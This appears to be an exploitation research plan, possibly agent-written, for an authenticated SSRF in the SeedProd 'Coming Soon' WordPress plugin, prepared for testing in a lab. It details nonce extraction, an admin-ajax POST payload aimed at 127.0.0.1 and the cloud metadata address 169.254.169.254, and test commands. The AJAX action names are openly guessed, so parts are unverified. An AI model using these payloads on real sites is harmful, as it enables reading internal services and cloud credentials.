Exploitation Research Plan: CVE-2026-39464 (SeedProd SSRF)

1. Vulnerability Summary

The Coming Soon Page, Under Construction & Maintenance Mode by SeedProd plugin (versions <= 6.19.8) is vulnerable to an Authenticated Server-Side Request Forgery (SSRF). The vulnerability exists because certain AJAX actions available to Editor-level users and above do not sufficiently validate or restrict the destination URLs provided in user input before passing them to an HTTP request function like wp_remote_get(). This allows an attacker to force the web server to make requests to internal network resources, local services (localhost), or external targets.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: seedprod_lite_get_remote_url or seedprod_get_url_content (Inferred based on SeedProd internal routing patterns for fetching templates/assets).
• Vulnerable Parameter: url or link.
• Authentication: Required (Editor, Author, or Administrator).
• Preconditions: The plugin must be active. The user must have a valid session and a valid WordPress nonce.

3. Code Flow

1. Entry Point: An authenticated user triggers an AJAX request with a specific action (e.g., action=seedprod_lite_get_remote_url).
2. Hook Registration: The plugin registers the action via add_action( 'wp_ajax_seedprod_lite_get_remote_url', ... ).
3. Input Handling: The handler retrieves a URL from the $_POST['url'] parameter.
4. Inadequate Validation: The plugin may perform sanitize_url(), but fails to check if the URL resolves to a local/internal IP address or restricted port.
5. Sink: The URL is passed directly to wp_remote_get( $url ) or wp_remote_request( $url ).
6. Response: The content of the remote request is returned to the attacker in the AJAX response.

4. Nonce Acquisition Strategy

SeedProd scripts are typically enqueued in the WordPress admin dashboard, particularly on the SeedProd settings and builder pages.

1. Create Content: No specific shortcode is required for the frontend, as this is an admin-side vulnerability. However, the plugin settings page must be accessible.
2. Navigation: Log in as an Editor and navigate to /wp-admin/admin.php?page=seedprod.
3. Extraction:
   • The plugin localizes data into the seedprod_data or SeedProdL10n global JavaScript object.
   • JS Variable: window.seedprod_data
   • Nonce Key: seedprod_data.nonce
4. Command:

   browser_eval("window.seedprod_data?.nonce")
   

5. Exploitation Strategy

The goal is to perform an SSRF to read data from a local service (e.g., the WordPress site itself or an internal metadata service).

Step 1: Authentication and Session Setup

Log in to the WordPress instance as an Editor.

Step 2: Obtain Nonce

Navigate to the SeedProd admin page and extract the nonce using browser_eval.

Step 3: Execute SSRF Request

Send a POST request to admin-ajax.php targeting an internal resource.

• Request Configuration:
  • URL: http://<target-domain>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:

    action=seedprod_lite_get_remote_url&nonce=[EXTRACTED_NONCE]&url=http://127.0.0.1:80/wp-login.php
    

  (Note: The exact action name seedprod_lite_get_remote_url is inferred from similar SeedProd vulnerabilities; if it fails, search the source for wp_remote_get to find the registered AJAX handler.)

Step 4: Verification of Internal Access

If successful, the response body will contain the HTML source code of the wp-login.php page, proving the server made a request to itself.

6. Test Data Setup

1. Users:
   • Create an Editor user: wp user create editor_user editor@example.com --role=editor --user_pass=password
2. Plugin:
   • Ensure coming-soon version 6.19.8 is installed and activated.
3. Internal Target:
   • Use 127.0.0.1:80 (the web server itself) or, if in a cloud environment, http://169.254.169.254/latest/meta-data/.

7. Expected Results

• Success: The HTTP response status is 200 OK and the body contains the content of the URL requested in the url parameter (e.g., the local login page or internal service data).
• Failure: The response returns a 403 Forbidden (invalid nonce/permissions) or a 400 Bad Request (invalid action), or the response body is empty/errors out if the URL is blocked.

8. Verification Steps

1. Verify via Logs: If access to the Docker container is available, check the web server access logs to see a request originating from 127.0.0.1 to /wp-login.php triggered by the AJAX call.

   tail -f /var/log/apache2/access.log
   

2. Verify Action Name: Use WP-CLI to list registered AJAX actions to confirm the exact hook name:

   wp eval "global \$wp_filter; print_r(array_keys(\$wp_filter['wp_ajax_seedprod_lite_get_remote_url']->callbacks[10]));"
   

9. Alternative Approaches

If seedprod_lite_get_remote_url is not the correct action:

1. Grep for Sinks: Search the plugin directory for HTTP request functions:

   grep -r "wp_remote_get" /var/www/html/wp-content/plugins/coming-soon/
   

2. Check for "Proxy" features: Many builder plugins have a "Proxy" or "Image Fetcher" for third-party integrations (like Unsplash or Typekit). Search for actions containing proxy, import, or fetch.
3. REST API: Check if SeedProd registers any REST API routes that take URLs as parameters:

   grep -r "register_rest_route" /var/www/html/wp-content/plugins/coming-soon/